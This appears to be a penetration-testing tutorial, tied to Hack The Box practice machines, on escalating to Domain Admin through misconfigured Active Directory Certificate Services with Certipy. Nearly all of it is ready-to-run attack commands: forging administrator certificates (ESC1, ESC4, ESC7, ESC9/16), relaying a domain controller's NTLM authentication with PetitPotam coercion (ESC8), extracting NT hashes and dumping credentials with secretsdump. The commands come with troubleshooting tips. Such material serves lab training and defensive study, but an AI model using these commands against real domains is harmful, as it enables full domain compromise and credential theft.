ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)

Find vulnerable ADCS templates and CAs with Certipy and exploit ESC1, ESC4, ESC7, ESC8, ESC9 and ESC16, with the typical error for each case.

· 4 min read

Active Directory Certificate Services (ADCS) is the Windows PKI: it issues certificates so users and computers can authenticate. A certificate is as good as a password (with it you request a TGT through PKINIT and get the account's NT hash) and it lasts for years, even if the password changes. If a template is misconfigured, you can request a certificate on behalf of another user, the administrator for instance. That is the ADCS technique, and it appears on 17 machines in the catalogue, nearly all of them recent.

1. Is there a CA?

nxc ldap 10.10.10.10 -u user -p 'Password1' -M adcs
certipy find -u [email protected] -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout

certipy find lists the CA and templates and, with -vulnerable, flags each problem with its ESC code. Always read the [!] Vulnerabilities block and the Enrollment Rights lines: an ESC only administrators can use is no use to you.

Note

The commands are for Certipy 5. On version 4 a few details change (-save-old instead of -write-default-configuration, for example). certipy -h tells you.

2. ESC1: the template lets you choose the user

The template has Enrollee Supplies Subject (the requester sets the name), Client Authentication, and your user (or one of your groups, such as Domain Users) can enrol.

certipy req -u [email protected] -p 'Password1' -dc-ip 10.10.10.10 -target dc01.corp.local \
  -ca CORP-DC01-CA -template VulnTemplate -upn [email protected] -sid S-1-5-21-XXXX-500
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:2b576acbe6...

The -sid (the administrator's SID, ending in -500) is needed on domains with strong certificate mapping enforced, which is the norm since 2025. Get it with nxc ldap ... --get-sid or impacket-lookupsid.

If the template only lets computers enrol (Domain Computers), create one: any user can create up to 10 by default (MachineAccountQuota).

impacket-addcomputer corp.local/user:'Password1' -computer-name 'PWN$' -computer-pass 'Pwn123!' -dc-ip 10.10.10.10
certipy req -u 'PWN$'@corp.local -p 'Pwn123!' ... -template VulnTemplate -upn [email protected]

That is what happens on Authority. On Escape, ESC1 comes after capturing a hash from MSSQL.

3. ESC4: you can modify the template

You have write rights over the template (GenericAll, WriteDacl, WriteOwner, WriteProperty). Turn it into ESC1, exploit it and put it back:

certipy template -u [email protected] -p 'Password1' -dc-ip 10.10.10.10 -template VulnTemplate -write-default-configuration
certipy req ... -template VulnTemplate -upn [email protected] -sid S-1-5-21-XXXX-500

Certipy saves the original configuration to a JSON file so you can restore it. It is the path on EscapeTwo.

4. ESC7: you manage the CA

With ManageCA you can make yourself an "officer" (ManageCertificates) and approve by hand requests the CA would reject. The trick uses the SubCA template:

certipy ca -u [email protected] -p 'Password1' -dc-ip 10.10.10.10 -ca CORP-DC01-CA -add-officer user
certipy ca ... -ca CORP-DC01-CA -enable-template SubCA
certipy req ... -ca CORP-DC01-CA -template SubCA -upn [email protected]    # fails, but note the Request ID
certipy ca ... -ca CORP-DC01-CA -issue-request 13
certipy req ... -ca CORP-DC01-CA -retrieve 13

Practise it on Manager.

5. ESC8: relaying to web enrolment

If the CA has web enrolment (/certsrv/) over plain HTTP without protection, you can relay a DC's NTLM authentication to it and get a certificate for the DC. With it, you DCSync.

certipy relay -target http://ca.corp.local/certsrv/certfnsh.asp -template DomainController
# In another terminal, coerce the DC into authenticating to you (NTLM relay and coercion guide)
python3 PetitPotam.py -u user -p 'Password1' -d corp.local 10.10.14.5 dc01.corp.local
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
impacket-secretsdump -hashes :<DC01$_hash> 'corp.local/DC01$'@10.10.10.10 -just-dc-user Administrator

Coercion is covered in detail in the NTLM relay guide.

6. ESC9, ESC10 and ESC16: changing the UPN

These three share one idea: the certificate does not carry (or the DC does not check) the account's SID, only its name (UPN). If you can change the UPN of an account you control (with GenericWrite over it), set it to the administrator's, request the certificate, then change it back:

certipy account update -u [email protected] -p 'Password1' -dc-ip 10.10.10.10 -user victim -upn administrator
certipy req -u [email protected] -hashes :<victim_hash> -dc-ip 10.10.10.10 -ca CORP-DC01-CA -template User
certipy account update -u [email protected] -p 'Password1' -dc-ip 10.10.10.10 -user victim -upn [email protected]
certipy auth -pfx administrator.pfx -domain corp.local -dc-ip 10.10.10.10

You usually get victim's hash beforehand with Shadow Credentials. ESC9 is a template with NoSecurityExtension; ESC16, the whole CA without the security extension. See them on Certified (ESC9) and Fluffy (ESC16).

Common errors

  • KDC_ERR_PADATA_TYPE_NOSUPP on certipy auth: the DC has no certificate for PKINIT. Use certipy auth -pfx ... -ldap-shell and authenticate over LDAPS (Schannel) to make changes from there.
  • CERTSRV_E_TEMPLATE_DENIED: your user has no enrolment right on that template. Check Enrollment Rights again.
  • object SID mismatch, or the certificate comes out in your own user's name: the -sid is missing under strong mapping, or the CA ignores the UPN you ask for.
  • KRB_AP_ERR_SKEW: the clock, as always with Kerberos.

What next

With the administrator's hash, DCSync or log straight in with pass-the-hash. The Active Directory cheat sheet has the commands for every ESC from 1 to 16.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

ADCS (certificates) 17 machines

See all 17 machines →

Spotted a mistake or something missing? Tell us